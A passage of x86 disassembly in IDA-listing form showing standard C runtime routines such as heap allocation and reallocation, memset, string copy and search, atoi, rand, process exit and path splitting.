mov eax, [ebp+arg_8]
loc_41BBC7: ; CODE XREF: sub_41BAFA+1Fj
; sub_41BAFA+E6j
pop edi
pop esi
pop ebx
leave
retn
; ---------------------------------------------------------------------------
loc_41BBCC: ; CODE XREF: sub_41BAFA+9Aj
or dword ptr [esi+0Ch], 10h
jmp short loc_41BBD6
; ---------------------------------------------------------------------------
loc_41BBD2: ; CODE XREF: sub_41BAFA+9Fj
or dword ptr [esi+0Ch], 20h
loc_41BBD6: ; CODE XREF: sub_41BAFA+B2j
; sub_41BAFA+D6j
mov eax, edi
xor edx, edx
sub eax, [ebp+arg_0]
div [ebp+arg_4]
jmp short loc_41BBC7
sub_41BAFA endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_41BBE2 proc near ; CODE XREF: sub_4010AB+2Ep
; sub_41D9B3+35p
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
push ebp
mov ebp, esp
push ecx
cmp [ebp+arg_0], 0
push ebx
push esi
push edi
jnz short loc_41BBFD
push [ebp+arg_4]
call sub_41BEB5
pop ecx
jmp loc_41BE7D
; ---------------------------------------------------------------------------
loc_41BBFD: ; CODE XREF: sub_41BBE2+Bj
mov esi, [ebp+arg_4]
test esi, esi
jnz short loc_41BC12
push [ebp+arg_0]
call sub_41BA91
pop ecx
jmp loc_41BE7B
; ---------------------------------------------------------------------------
loc_41BC12: ; CODE XREF: sub_41BBE2+20j
mov eax, dword_4DD3A8
cmp eax, 3
jnz loc_41BD22
loc_41BC20: ; CODE XREF: sub_41BBE2+12Ej
xor edi, edi
cmp esi, 0FFFFFFE0h
ja loc_41BCFE
push [ebp+arg_0]
call sub_41E717
mov ebx, eax
pop ecx
test ebx, ebx
jz loc_41BCD9
cmp esi, dword_4DD3A0
ja short loc_41BC92
mov edi, [ebp+arg_0]
push esi
push edi
push ebx
call sub_41EF20
add esp, 0Ch
test eax, eax
jnz short loc_41BC8E
push esi
call sub_41EA6B
mov edi, eax
pop ecx
test edi, edi
jz short loc_41BC92
mov ebx, [ebp+arg_0]
mov eax, [ebx-4]
dec eax
cmp eax, esi
jb short loc_41BC72
mov eax, esi
loc_41BC72: ; CODE XREF: sub_41BBE2+8Cj
push eax
push ebx
push edi
call sub_41CD20
push ebx
call sub_41E717
push [ebp+arg_0]
mov ebx, eax
push ebx
call sub_41E742
add esp, 18h
loc_41BC8E: ; CODE XREF: sub_41BBE2+74j
test edi, edi
jnz short loc_41BCD5
loc_41BC92: ; CODE XREF: sub_41BBE2+62j
; sub_41BBE2+81j
test esi, esi
jnz short loc_41BC99
push 1
pop esi
loc_41BC99: ; CODE XREF: sub_41BBE2+B2j
add esi, 0Fh
and esi, 0FFFFFFF0h
push esi
push 0
push dword_4DD3A4
call dword_427150 ; RtlAllocateHeap
mov edi, eax
test edi, edi
jz short loc_41BCD5
mov ecx, [ebp+arg_0]
mov eax, [ecx-4]
dec eax
cmp eax, esi
jb short loc_41BCC1
mov eax, esi
loc_41BCC1: ; CODE XREF: sub_41BBE2+DBj
push eax
push ecx
push edi
call sub_41CD20
push [ebp+arg_0]
push ebx
call sub_41E742
add esp, 14h
loc_41BCD5: ; CODE XREF: sub_41BBE2+AEj
; sub_41BBE2+D0j
test ebx, ebx
jnz short loc_41BCFA
loc_41BCD9: ; CODE XREF: sub_41BBE2+56j
test esi, esi
jnz short loc_41BCE0
push 1
pop esi
loc_41BCE0: ; CODE XREF: sub_41BBE2+F9j
add esi, 0Fh
and esi, 0FFFFFFF0h
push esi
push [ebp+arg_0]
push 0
push dword_4DD3A4
call dword_4271A0 ; RtlReAllocateHeap
mov edi, eax
loc_41BCFA: ; CODE XREF: sub_41BBE2+F5j
test edi, edi
jnz short loc_41BD1B
loc_41BCFE: ; CODE XREF: sub_41BBE2+43j
cmp dword_4DBE58, 0
jz short loc_41BD1B
push esi
call sub_41FBB2
test eax, eax
pop ecx
jnz loc_41BC20
jmp loc_41BE7B
; ---------------------------------------------------------------------------
loc_41BD1B: ; CODE XREF: sub_41BBE2+11Aj
; sub_41BBE2+123j ...
mov eax, edi
jmp loc_41BE7D
; ---------------------------------------------------------------------------
loc_41BD22: ; CODE XREF: sub_41BBE2+38j
cmp eax, 2
jnz loc_41BE3D
cmp esi, 0FFFFFFE0h
ja short loc_41BD3F
test esi, esi
jbe short loc_41BD3C
add esi, 0Fh
and esi, 0FFFFFFF0h
jmp short loc_41BD3F
; ---------------------------------------------------------------------------
loc_41BD3C: ; CODE XREF: sub_41BBE2+150j
push 10h
pop esi
loc_41BD3F: ; CODE XREF: sub_41BBE2+14Cj
; sub_41BBE2+158j ...
xor edi, edi
cmp esi, 0FFFFFFE0h
ja loc_41BE1F
lea eax, [ebp+arg_4]
push eax
lea eax, [ebp+var_4]
push eax
push [ebp+arg_0]
call sub_41F472
mov ebx, eax
add esp, 0Ch
test ebx, ebx
jz loc_41BE03
cmp esi, dword_43CE84
jnb short loc_41BDC7
mov edi, esi
shr edi, 4
push edi
push ebx
push [ebp+arg_4]
push [ebp+var_4]
call sub_41F83A
add esp, 10h
test eax, eax
jz short loc_41BD8D
mov edi, [ebp+arg_0]
jmp short loc_41BDBF
; ---------------------------------------------------------------------------
loc_41BD8D: ; CODE XREF: sub_41BBE2+1A4j
push edi
call sub_41F50E
mov edi, eax
pop ecx
test edi, edi
jz short loc_41BDC7
movzx eax, byte ptr [ebx]
shl eax, 4
cmp eax, esi
jb short loc_41BDA6
mov eax, esi
loc_41BDA6: ; CODE XREF: sub_41BBE2+1C0j
push eax
push [ebp+arg_0]
push edi
call sub_41CD20
push ebx
push [ebp+arg_4]
push [ebp+var_4]
call sub_41F4C9
add esp, 18h
loc_41BDBF: ; CODE XREF: sub_41BBE2+1A9j
test edi, edi
jnz loc_41BD1B
loc_41BDC7: ; CODE XREF: sub_41BBE2+18Bj
; sub_41BBE2+1B6j
push esi
push 0
push dword_4DD3A4
call dword_427150 ; RtlAllocateHeap
mov edi, eax
test edi, edi
jz short loc_41BE1F
movzx eax, byte ptr [ebx]
shl eax, 4
cmp eax, esi
jb short loc_41BDE8
mov eax, esi
loc_41BDE8: ; CODE XREF: sub_41BBE2+202j
push eax
push [ebp+arg_0]
push edi
call sub_41CD20
push ebx
push [ebp+arg_4]
push [ebp+var_4]
call sub_41F4C9
add esp, 18h
jmp short loc_41BE17
; ---------------------------------------------------------------------------
loc_41BE03: ; CODE XREF: sub_41BBE2+17Fj
push esi
push [ebp+arg_0]
push 0
push dword_4DD3A4
call dword_4271A0 ; RtlReAllocateHeap
mov edi, eax
loc_41BE17: ; CODE XREF: sub_41BBE2+21Fj
test edi, edi
jnz loc_41BD1B
loc_41BE1F: ; CODE XREF: sub_41BBE2+162j
; sub_41BBE2+1F8j
cmp dword_4DBE58, 0
jz loc_41BD1B
push esi
call sub_41FBB2
test eax, eax
pop ecx
jnz loc_41BD3F
jmp short loc_41BE7B
; ---------------------------------------------------------------------------
loc_41BE3D: ; CODE XREF: sub_41BBE2+143j
; sub_41BBE2+297j
xor eax, eax
cmp esi, 0FFFFFFE0h
ja short loc_41BE67
test esi, esi
jnz short loc_41BE4B
push 1
pop esi
loc_41BE4B: ; CODE XREF: sub_41BBE2+264j
add esi, 0Fh
and esi, 0FFFFFFF0h
push esi
push [ebp+arg_0]
push 0
push dword_4DD3A4
call dword_4271A0 ; RtlReAllocateHeap
test eax, eax
jnz short loc_41BE7D
loc_41BE67: ; CODE XREF: sub_41BBE2+260j
cmp dword_4DBE58, 0
jz short loc_41BE7D
push esi
call sub_41FBB2
test eax, eax
pop ecx
jnz short loc_41BE3D
loc_41BE7B: ; CODE XREF: sub_41BBE2+2Bj
; sub_41BBE2+134j ...
xor eax, eax
loc_41BE7D: ; CODE XREF: sub_41BBE2+16j
; sub_41BBE2+13Bj ...
pop edi
pop esi
pop ebx
leave
retn
sub_41BBE2 endp
; =============== S U B R O U T I N E =======================================
sub_41BE82 proc near ; CODE XREF: sub_41BEA2+Ap
arg_0 = dword ptr 4
arg_4 = dword ptr 8
arg_8 = dword ptr 0Ch
call sub_41FD3D
test eax, eax
jnz short loc_41BE8C
retn
; ---------------------------------------------------------------------------
loc_41BE8C: ; CODE XREF: sub_41BE82+7j
push eax
push [esp+4+arg_8]
push [esp+8+arg_4]
push [esp+0Ch+arg_0]
call sub_41FBCD
add esp, 10h
retn
sub_41BE82 endp
; =============== S U B R O U T I N E =======================================
sub_41BEA2 proc near ; CODE XREF: sub_4010AB+18p
; sub_401ACD+57DDp ...
arg_0 = dword ptr 4
arg_4 = dword ptr 8
push 40h
push [esp+4+arg_4]
push [esp+8+arg_0]
call sub_41BE82
add esp, 0Ch
retn
sub_41BEA2 endp
; =============== S U B R O U T I N E =======================================
sub_41BEB5 proc near ; CODE XREF: sub_4010AB+6p
; sub_40A928+63p ...
arg_0 = dword ptr 4
push dword_4DBE58
push [esp+4+arg_0]
call sub_41BEC7
pop ecx
pop ecx
retn
sub_41BEB5 endp
; =============== S U B R O U T I N E =======================================
sub_41BEC7 proc near ; CODE XREF: sub_41BEB5+Ap
; sub_41D9A5+6p
arg_0 = dword ptr 4
arg_4 = dword ptr 8
cmp [esp+arg_0], 0FFFFFFE0h
ja short loc_41BEF0
loc_41BECE: ; CODE XREF: sub_41BEC7+27j
push [esp+arg_0]
call sub_41BEF3
test eax, eax
pop ecx
jnz short locret_41BEF2
cmp [esp+arg_4], eax
jz short locret_41BEF2
push [esp+arg_0]
call sub_41FBB2
test eax, eax
pop ecx
jnz short loc_41BECE
loc_41BEF0: ; CODE XREF: sub_41BEC7+5j
xor eax, eax
locret_41BEF2: ; CODE XREF: sub_41BEC7+13j
; sub_41BEC7+19j
retn
sub_41BEC7 endp
; =============== S U B R O U T I N E =======================================
sub_41BEF3 proc near ; CODE XREF: sub_41BEC7+Bp
arg_0 = dword ptr 4
mov eax, dword_4DD3A8
push esi
mov esi, [esp+4+arg_0]
cmp eax, 3
jnz short loc_41BF17
cmp esi, dword_4DD3A0
ja short loc_41BF49
push esi
call sub_41EA6B
test eax, eax
pop ecx
jz short loc_41BF49
pop esi
retn
; ---------------------------------------------------------------------------
loc_41BF17: ; CODE XREF: sub_41BEF3+Dj
cmp eax, 2
jnz short loc_41BF49
mov eax, [esp+4+arg_0]
test eax, eax
jz short loc_41BF2C
lea esi, [eax+0Fh]
and esi, 0FFFFFFF0h
jmp short loc_41BF2F
; ---------------------------------------------------------------------------
loc_41BF2C: ; CODE XREF: sub_41BEF3+2Fj
push 10h
pop esi
loc_41BF2F: ; CODE XREF: sub_41BEF3+37j
cmp esi, dword_43CE84
ja short loc_41BF56
mov eax, esi
shr eax, 4
push eax
call sub_41F50E
test eax, eax
pop ecx
jnz short loc_41BF65
jmp short loc_41BF56
; ---------------------------------------------------------------------------
loc_41BF49: ; CODE XREF: sub_41BEF3+15j
; sub_41BEF3+20j ...
test esi, esi
jnz short loc_41BF50
push 1
pop esi
loc_41BF50: ; CODE XREF: sub_41BEF3+58j
add esi, 0Fh
and esi, 0FFFFFFF0h
loc_41BF56: ; CODE XREF: sub_41BEF3+42j
; sub_41BEF3+54j
push esi
push 0
push dword_4DD3A4
call dword_427150 ; RtlAllocateHeap
loc_41BF65: ; CODE XREF: sub_41BEF3+52j
pop esi
retn
sub_41BEF3 endp
; ---------------------------------------------------------------------------
align 10h
; =============== S U B R O U T I N E =======================================
sub_41BF70 proc near ; CODE XREF: sub_40111D+3Cp
; sub_40111D+4Ap ...
arg_0 = dword ptr 4
arg_4 = byte ptr 8
arg_8 = dword ptr 0Ch
mov edx, [esp+arg_8]
mov ecx, [esp+arg_0]
test edx, edx
jz short loc_41BFC3
xor eax, eax
mov al, [esp+arg_4]
push edi
mov edi, ecx
cmp edx, 4
jb short loc_41BFB7
neg ecx
and ecx, 3
jz short loc_41BF99
sub edx, ecx
loc_41BF93: ; CODE XREF: sub_41BF70+27j
mov [edi], al
inc edi
dec ecx
jnz short loc_41BF93
loc_41BF99: ; CODE XREF: sub_41BF70+1Fj
mov ecx, eax
shl eax, 8
add eax, ecx
mov ecx, eax
shl eax, 10h
add eax, ecx
mov ecx, edx
and edx, 3
shr ecx, 2
jz short loc_41BFB7
rep stosd
test edx, edx
jz short loc_41BFBD
loc_41BFB7: ; CODE XREF: sub_41BF70+18j
; sub_41BF70+3Fj ...
mov [edi], al
inc edi
dec edx
jnz short loc_41BFB7
loc_41BFBD: ; CODE XREF: sub_41BF70+45j
mov eax, [esp+4+arg_0]
pop edi
retn
; ---------------------------------------------------------------------------
loc_41BFC3: ; CODE XREF: sub_41BF70+Aj
mov eax, [esp+arg_0]
retn
sub_41BF70 endp
; ---------------------------------------------------------------------------
align 10h
; =============== S U B R O U T I N E =======================================
sub_41BFD0 proc near ; CODE XREF: sub_401221+49Fp
; sub_401221+4BBp ...
arg_0 = dword ptr 4
arg_4 = dword ptr 8
arg_8 = dword ptr 0Ch
mov ecx, [esp+arg_8]
push edi
test ecx, ecx
jz short loc_41C053
push esi
push ebx
mov ebx, ecx
mov esi, [esp+0Ch+arg_4]
test esi, 3
mov edi, [esp+0Ch+arg_0]
jnz short loc_41BFF4
shr ecx, 2
jnz short loc_41C061
jmp short loc_41C015
; ---------------------------------------------------------------------------
loc_41BFF4: ; CODE XREF: sub_41BFD0+1Bj
; sub_41BFD0+37j
mov al, [esi]
inc esi
mov [edi], al
inc edi
dec ecx
jz short loc_41C022
test al, al
jz short loc_41C02A
test esi, 3
jnz short loc_41BFF4
mov ebx, ecx
shr ecx, 2
jnz short loc_41C061
loc_41C010: ; CODE XREF: sub_41BFD0+8Fj
and ebx, 3
jz short loc_41C022
loc_41C015: ; CODE XREF: sub_41BFD0+22j
; sub_41BFD0+50j
mov al, [esi]
inc esi
mov [edi], al
inc edi
test al, al
jz short loc_41C04E
dec ebx
jnz short loc_41C015
loc_41C022: ; CODE XREF: sub_41BFD0+2Bj
; sub_41BFD0+43j
mov eax, [esp+0Ch+arg_0]
pop ebx
pop esi
pop edi
retn
; ---------------------------------------------------------------------------
loc_41C02A: ; CODE XREF: sub_41BFD0+2Fj
test edi, 3
jz short loc_41C044
loc_41C032: ; CODE XREF: sub_41BFD0+72j
mov [edi], al
inc edi
dec ecx
jz loc_41C0C6
test edi, 3
jnz short loc_41C032
loc_41C044: ; CODE XREF: sub_41BFD0+60j
mov ebx, ecx
shr ecx, 2
jnz short loc_41C0B7
loc_41C04B: ; CODE XREF: sub_41BFD0+7Fj
; sub_41BFD0+F4j
mov [edi], al
inc edi
loc_41C04E: ; CODE XREF: sub_41BFD0+4Dj
dec ebx
jnz short loc_41C04B
pop ebx
pop esi
loc_41C053: ; CODE XREF: sub_41BFD0+7j
mov eax, [esp+4+arg_0]
pop edi
retn
; ---------------------------------------------------------------------------
loc_41C059: ; CODE XREF: sub_41BFD0+A9j
; sub_41BFD0+C1j
mov [edi], edx
add edi, 4
dec ecx
jz short loc_41C010
loc_41C061: ; CODE XREF: sub_41BFD0+20j
; sub_41BFD0+3Ej
mov edx, 7EFEFEFFh
mov eax, [esi]
add edx, eax
xor eax, 0FFFFFFFFh
xor eax, edx
mov edx, [esi]
add esi, 4
test eax, 81010100h
jz short loc_41C059
test dl, dl
jz short loc_41C0AB
test dh, dh
jz short loc_41C0A1
test edx, 0FF0000h
jz short loc_41C097
test edx, 0FF000000h
jnz short loc_41C059
mov [edi], edx
jmp short loc_41C0AF
; ---------------------------------------------------------------------------
loc_41C097: ; CODE XREF: sub_41BFD0+B9j
and edx, 0FFFFh
mov [edi], edx
jmp short loc_41C0AF
; ---------------------------------------------------------------------------
loc_41C0A1: ; CODE XREF: sub_41BFD0+B1j
and edx, 0FFh
mov [edi], edx
jmp short loc_41C0AF
; ---------------------------------------------------------------------------
loc_41C0AB: ; CODE XREF: sub_41BFD0+ADj
xor edx, edx
mov [edi], edx
loc_41C0AF: ; CODE XREF: sub_41BFD0+C5j
; sub_41BFD0+CFj ...
add edi, 4
xor eax, eax
dec ecx
jz short loc_41C0C1
loc_41C0B7: ; CODE XREF: sub_41BFD0+79j
xor eax, eax
loc_41C0B9: ; CODE XREF: sub_41BFD0+EFj
mov [edi], eax
add edi, 4
dec ecx
jnz short loc_41C0B9
loc_41C0C1: ; CODE XREF: sub_41BFD0+E5j
and ebx, 3
jnz short loc_41C04B
loc_41C0C6: ; CODE XREF: sub_41BFD0+66j
mov eax, [esp+0Ch+arg_0]
pop ebx
pop esi
pop edi
retn
sub_41BFD0 endp
; =============== S U B R O U T I N E =======================================
sub_41C0CE proc near ; CODE XREF: sub_41C159+4p
arg_0 = dword ptr 4
push ebx
push ebp
push esi
push edi
mov edi, [esp+10h+arg_0]
loc_41C0D6: ; CODE XREF: sub_41C0CE+34j
cmp dword_43D094, 1
jle short loc_41C0EE
movzx eax, byte ptr [edi]
push 8
push eax
call sub_41FDB5
pop ecx
pop ecx
jmp short loc_41C0FD
; ---------------------------------------------------------------------------
loc_41C0EE: ; CODE XREF: sub_41C0CE+Fj
movzx eax, byte ptr [edi]
mov ecx, off_43CE88
mov al, [ecx+eax*2]
and eax, 8
loc_41C0FD: ; CODE XREF: sub_41C0CE+1Ej
test eax, eax
jz short loc_41C104
inc edi
jmp short loc_41C0D6
; ---------------------------------------------------------------------------
loc_41C104: ; CODE XREF: sub_41C0CE+31j
movzx esi, byte ptr [edi]
inc edi
cmp esi, 2Dh
mov ebp, esi
jz short loc_41C114
cmp esi, 2Bh
jnz short loc_41C118
loc_41C114: ; CODE XREF: sub_41C0CE+3Fj
movzx esi, byte ptr [edi]
inc edi
loc_41C118: ; CODE XREF: sub_41C0CE+44j
xor ebx, ebx
loc_41C11A: ; CODE XREF: sub_41C0CE+7Bj
cmp dword_43D094, 1
jle short loc_41C12F
push 4
push esi
call sub_41FDB5
pop ecx
pop ecx
jmp short loc_41C13A
; ---------------------------------------------------------------------------
loc_41C12F: ; CODE XREF: sub_41C0CE+53j
mov eax, off_43CE88
mov al, [eax+esi*2]
and eax, 4
loc_41C13A: ; CODE XREF: sub_41C0CE+5Fj
test eax, eax
jz short loc_41C14B
lea eax, [ebx+ebx*4]
lea ebx, [esi+eax*2-30h]
movzx esi, byte ptr [edi]
inc edi
jmp short loc_41C11A
; ---------------------------------------------------------------------------
loc_41C14B: ; CODE XREF: sub_41C0CE+6Ej
cmp ebp, 2Dh
mov eax, ebx
jnz short loc_41C154
neg eax
loc_41C154: ; CODE XREF: sub_41C0CE+82j
pop edi
pop esi
pop ebp
pop ebx
retn
sub_41C0CE endp
; =============== S U B R O U T I N E =======================================
sub_41C159 proc near ; CODE XREF: sub_401221+306p
; sub_401ACD+717p ...
arg_0 = dword ptr 4
push [esp+arg_0]
call sub_41C0CE
pop ecx
retn
sub_41C159 endp
; =============== S U B R O U T I N E =======================================
sub_41C164 proc near ; CODE XREF: sub_41E1D3+93p
mov eax, off_43AE2C
test eax, eax
jz short loc_41C16F
call eax ; sub_41D124
loc_41C16F: ; CODE XREF: sub_41C164+7j
push offset dword_429028
push offset dword_429014
call sub_41C24C
push offset dword_429010
push offset dword_429000
call sub_41C24C
add esp, 10h
retn
sub_41C164 endp
; =============== S U B R O U T I N E =======================================
sub_41C191 proc near ; CODE XREF: sub_41E1D3+D2p
arg_0 = dword ptr 4
push 0
push 0
push [esp+8+arg_0]
call sub_41C1B3
add esp, 0Ch
retn
sub_41C191 endp
; =============== S U B R O U T I N E =======================================
sub_41C1A2 proc near ; CODE XREF: .packed:0041E2C4p
; sub_41E2C9+1Cp ...
arg_0 = dword ptr 4
push 0
push 1
push [esp+8+arg_0]
call sub_41C1B3
add esp, 0Ch
retn
sub_41C1A2 endp
; =============== S U B R O U T I N E =======================================
sub_41C1B3 proc near ; CODE XREF: sub_41C191+8p
; sub_41C1A2+8p
arg_0 = dword ptr 4
arg_4 = dword ptr 8
arg_8 = dword ptr 0Ch
push edi
push 1
pop edi
cmp dword_4DBE34, edi
jnz short loc_41C1D0
push [esp+4+arg_0]
call dword_427104 ; GetCurrentProcess
push eax
call dword_4270FC ; TerminateProcess
loc_41C1D0: ; CODE XREF: sub_41C1B3+Aj
cmp [esp+4+arg_4], 0
push ebx
mov ebx, [esp+8+arg_8]
mov dword_4DBE30, edi
mov byte_4DBE2C, bl
jnz short loc_41C224
mov eax, dword_4DD3BC
test eax, eax
jz short loc_41C213
mov ecx, dword_4DD3B8
push esi
lea esi, [ecx-4]
cmp esi, eax
jb short loc_41C212
loc_41C1FF: ; CODE XREF: sub_41C1B3+5Dj
mov eax, [esi]
test eax, eax
jz short loc_41C207
call eax
loc_41C207: ; CODE XREF: sub_41C1B3+50j
sub esi, 4
cmp esi, dword_4DD3BC
jnb short loc_41C1FF
loc_41C212: ; CODE XREF: sub_41C1B3+4Aj
pop esi
loc_41C213: ; CODE XREF: sub_41C1B3+3Cj
push offset dword_429034
push offset dword_42902C
call sub_41C24C
pop ecx
pop ecx
loc_41C224: ; CODE XREF: sub_41C1B3+33j
push offset dword_429040
push offset dword_429038
call sub_41C24C
pop ecx
pop ecx
test ebx, ebx
pop ebx
jnz short loc_41C24A
push [esp+4+arg_0]
mov dword_4DBE34, edi
call dword_42706C ; ExitProcess
loc_41C24A: ; CODE XREF: sub_41C1B3+85j
pop edi
retn
sub_41C1B3 endp
; =============== S U B R O U T I N E =======================================
sub_41C24C proc near ; CODE XREF: sub_41C164+15p
; sub_41C164+24p ...
arg_0 = dword ptr 4
arg_4 = dword ptr 8
push esi
mov esi, [esp+4+arg_0]
loc_41C251: ; CODE XREF: sub_41C24C+16j
cmp esi, [esp+4+arg_4]
jnb short loc_41C264
mov eax, [esi]
test eax, eax
jz short loc_41C25F
call eax
loc_41C25F: ; CODE XREF: sub_41C24C+Fj
add esi, 4
jmp short loc_41C251
; ---------------------------------------------------------------------------
loc_41C264: ; CODE XREF: sub_41C24C+9j
pop esi
retn
sub_41C24C endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_41C266 proc near ; CODE XREF: sub_401221+18Fp
; sub_401221+295p ...
var_20 = dword ptr -20h
var_1C = dword ptr -1Ch
var_18 = dword ptr -18h
var_14 = dword ptr -14h
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = byte ptr 10h
push ebp
mov ebp, esp
sub esp, 20h
mov eax, [ebp+arg_0]
push esi
mov [ebp+var_18], eax
mov [ebp+var_20], eax
lea eax, [ebp+arg_8]
mov [ebp+var_14], 42h
push eax
lea eax, [ebp+var_20]
push [ebp+arg_4]
mov [ebp+var_1C], 7FFFFFFFh
push eax
call sub_41FF3F
add esp, 0Ch
dec [ebp+var_1C]
mov esi, eax
js short loc_41C2A6
mov eax, [ebp+var_20]
and byte ptr [eax], 0
jmp short loc_41C2B3
; ---------------------------------------------------------------------------
loc_41C2A6: ; CODE XREF: sub_41C266+36j
lea eax, [ebp+var_20]
push eax
push 0
call sub_41FE2A
pop ecx
pop ecx
loc_41C2B3: ; CODE XREF: sub_41C266+3Ej
mov eax, esi
pop esi
leave
retn
sub_41C266 endp
; =============== S U B R O U T I N E =======================================
sub_41C2B8 proc near ; CODE XREF: sub_401221+45p
; sub_401ACD+315Ep ...
arg_0 = dword ptr 4
mov eax, [esp+arg_0]
mov dword_43AE10, eax
retn
sub_41C2B8 endp
; =============== S U B R O U T I N E =======================================
sub_41C2C2 proc near ; CODE XREF: sub_401221:loc_401379p
; sub_401221:loc_4016A7p ...
mov eax, dword_43AE10
imul eax, 343FDh
add eax, 269EC3h
mov dword_43AE10, eax
sar eax, 10h
and eax, 7FFFh
retn
sub_41C2C2 endp
; =============== S U B R O U T I N E =======================================
sub_41C2E0 proc near ; CODE XREF: sub_401221+12Dp
; sub_401ACD+8Cp ...
arg_0 = dword ptr 4
arg_4 = dword ptr 8
mov ecx, [esp+arg_4]
push edi
push ebx
push esi
mov dl, [ecx]
mov edi, [esp+0Ch+arg_0]
test dl, dl
jz short loc_41C35A
mov dh, [ecx+1]
test dh, dh
jz short loc_41C347
loc_41C2F8: ; CODE XREF: sub_41C2E0+52j
; sub_41C2E0+65j
mov esi, edi
mov ecx, [esp+0Ch+arg_4]
mov al, [edi]
inc esi
cmp al, dl
jz short loc_41C31A
test al, al
jz short loc_41C314
loc_41C309: ; CODE XREF: sub_41C2E0+32j
mov al, [esi]
inc esi
loc_41C30C: ; CODE XREF: sub_41C2E0+3Fj
cmp al, dl
jz short loc_41C31A
test al, al
jnz short loc_41C309
loc_41C314: ; CODE XREF: sub_41C2E0+27j
pop esi
pop ebx
pop edi
xor eax, eax
retn
; ---------------------------------------------------------------------------
loc_41C31A: ; CODE XREF: sub_41C2E0+23j
; sub_41C2E0+2Ej
mov al, [esi]
inc esi
cmp al, dh
jnz short loc_41C30C
lea edi, [esi-1]
loc_41C324: ; CODE XREF: sub_41C2E0+63j
mov ah, [ecx+2]
test ah, ah
jz short loc_41C353
mov al, [esi]
add esi, 2
cmp al, ah
jnz short loc_41C2F8
mov al, [ecx+3]
test al, al
jz short loc_41C353
mov ah, [esi-1]
add ecx, 2
cmp al, ah
jz short loc_41C324
jmp short loc_41C2F8
; ---------------------------------------------------------------------------
loc_41C347: ; CODE XREF: sub_41C2E0+16j
xor eax, eax
pop esi
pop ebx
pop edi
mov al, dl
jmp loc_41C996
; ---------------------------------------------------------------------------
loc_41C353: ; CODE XREF: sub_41C2E0+49j
; sub_41C2E0+59j
lea eax, [edi-1]
pop esi
pop ebx
pop edi
retn
; ---------------------------------------------------------------------------
loc_41C35A: ; CODE XREF: sub_41C2E0+Fj
mov eax, edi
pop esi
pop ebx
pop edi
retn
sub_41C2E0 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_41C360 proc near ; CODE XREF: sub_401221+11Ap
; sub_401ACD+1C15p ...
var_20 = dword ptr -20h
var_1C = dword ptr -1Ch
var_18 = dword ptr -18h
var_14 = dword ptr -14h
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
arg_C = byte ptr 14h
push ebp
mov ebp, esp
sub esp, 20h
mov eax, [ebp+arg_0]
push esi
mov [ebp+var_18], eax
mov [ebp+var_20], eax
mov eax, [ebp+arg_4]
mov [ebp+var_14], 42h
mov [ebp+var_1C], eax
lea eax, [ebp+arg_C]
push eax
lea eax, [ebp+var_20]
push [ebp+arg_8]
push eax
call sub_41FF3F
add esp, 0Ch
dec [ebp+var_1C]
mov esi, eax
js short loc_41C39F
mov eax, [ebp+var_20]
and byte ptr [eax], 0
jmp short loc_41C3AC
; ---------------------------------------------------------------------------
loc_41C39F: ; CODE XREF: sub_41C360+35j
lea eax, [ebp+var_20]
push eax
push 0
call sub_41FE2A
pop ecx
pop ecx
loc_41C3AC: ; CODE XREF: sub_41C360+3Dj
mov eax, esi
pop esi
leave
retn
sub_41C360 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_41C3B1 proc near ; CODE XREF: sub_401221+F7p
; sub_401ACD+2177p ...
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
arg_C = dword ptr 14h
arg_10 = dword ptr 18h
push ebp
mov ebp, esp
push ecx
and [ebp+var_4], 0
push ebx
mov ebx, [ebp+arg_0]
push esi
push edi
push ebx
call sub_41B9C0
cmp eax, 1
pop ecx
jb short loc_41C3EC
cmp byte ptr [ebx+1], 3Ah
jnz short loc_41C3EC
mov esi, [ebp+arg_4]
test esi, esi
jz short loc_41C3E8
push 2
push ebx
push esi
call sub_420B29
add esp, 0Ch
and byte ptr [esi+2], 0
loc_41C3E8: ; CODE XREF: sub_41C3B1+25j
inc ebx
inc ebx
jmp short loc_41C3F6
; ---------------------------------------------------------------------------
loc_41C3EC: ; CODE XREF: sub_41C3B1+18j
; sub_41C3B1+1Ej
mov eax, [ebp+arg_4]
test eax, eax
jz short loc_41C3F6
and byte ptr [eax], 0
loc_41C3F6: ; CODE XREF: sub_41C3B1+39j
; sub_41C3B1+40j
and [ebp+arg_4], 0
cmp byte ptr [ebx], 0
mov eax, ebx
mov esi, 0FFh
mov [ebp+arg_0], eax
jz short loc_41C46E
loc_41C409: ; CODE XREF: sub_41C3B1+87j
mov cl, [eax]
movzx edx, cl
test byte_4DD281[edx], 4
jz short loc_41C41A
inc eax
jmp short loc_41C434
; ---------------------------------------------------------------------------
loc_41C41A: ; CODE XREF: sub_41C3B1+64j
cmp cl, 2Fh
jz short loc_41C42E
cmp cl, 5Ch
jz short loc_41C42E
cmp cl, 2Eh
jnz short loc_41C434
mov [ebp+var_4], eax
jmp short loc_41C434
; ---------------------------------------------------------------------------
loc_41C42E: ; CODE XREF: sub_41C3B1+6Cj
; sub_41C3B1+71j
lea ecx, [eax+1]
mov [ebp+arg_4], ecx
loc_41C434: ; CODE XREF: sub_41C3B1+67j
; sub_41C3B1+76j ...
inc eax
cmp byte ptr [eax], 0
jnz short loc_41C409
mov edi, [ebp+arg_4]
mov [ebp+arg_0], eax
test edi, edi
jz short loc_41C46E
cmp [ebp+arg_8], 0
jz short loc_41C469
sub edi, ebx
cmp edi, esi
jb short loc_41C452
mov edi, esi
loc_41C452: ; CODE XREF: sub_41C3B1+9Dj
push edi
push ebx
push [ebp+arg_8]
call sub_420B29
mov eax, [ebp+arg_8]
add esp, 0Ch
and byte ptr [edi+eax], 0
mov eax, [ebp+arg_0]
loc_41C469: ; CODE XREF: sub_41C3B1+97j
mov ebx, [ebp+arg_4]
jmp short loc_41C478
; ---------------------------------------------------------------------------
loc_41C46E: ; CODE XREF: sub_41C3B1+56j
; sub_41C3B1+91j
mov ecx, [ebp+arg_8]
test ecx, ecx
jz short loc_41C478
and byte ptr [ecx], 0
loc_41C478: ; CODE XREF: sub_41C3B1+BBj
; sub_41C3B1+C2j
